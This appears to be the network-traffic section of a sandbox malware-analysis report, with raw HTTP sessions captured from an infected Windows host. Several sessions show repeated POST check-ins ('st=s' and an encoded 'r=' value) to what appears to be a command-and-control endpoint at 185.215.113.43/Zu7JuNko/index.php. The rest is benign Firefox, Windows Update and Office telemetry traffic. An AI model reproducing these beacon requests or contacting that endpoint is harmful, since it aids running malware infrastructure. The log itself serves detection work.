Nov 23, 2024 15:30:07.789994001 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 16:44:55 GMT Age: 78312 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 15:30:17.826781034 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50297	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:29.271423101 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:28:30.667606115 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50298	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:30.014372110 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:28:31.148273945 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 49452 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:28:41.220396042 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:28:51.412168026 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:28:53.275285006 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:28:53.599287987 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 49475 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:29:03.626321077 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:13.826626062 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:24.009032965 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:34.209606886 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:44.408996105 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:29:54.709347963 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:30:04.908648968 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 15:30:07.792716026 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 15:30:08.115895033 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 49549 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 15:30:18.209300041 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50299	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:32.419578075 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:28:33.809668064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	50300	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:35.453947067 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:28:36.892143011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50301	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:38.628006935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:28:40.006151915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50302	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:41.653290987 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:28:43.069494963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50303	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:44.809542894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:28:46.202287912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50304	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:47.839536905 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 15:28:49.231673002 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50305	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:28:50.972227097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 15:28:52.360163927 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:21:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2otlPBgxoUx1CEW&MD=tpu6Kdur HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 14:21:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7736dbf2-d3f5-4351-b0f6-b9e6d8502d7e MS-RequestId: 08c3bbb3-39c1-4ae7-adc2-cdd2d00d9f46 MS-CV: GXBervgRxkyw40gk.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 14:21:22 GMT Connection: close Content-Length: 24490
2024-11-23 14:21:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 14:21:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:21:59 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:00 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:21:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: c1af2548-001e-00ad-39e4-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142159Z-178bfbc474bfw4gbhC1NYCunf400000004hg00000000cdbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:00 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 14:22:00 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 14:22:00 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 14:22:00 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 14:22:00 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 14:22:00 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 14:22:00 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
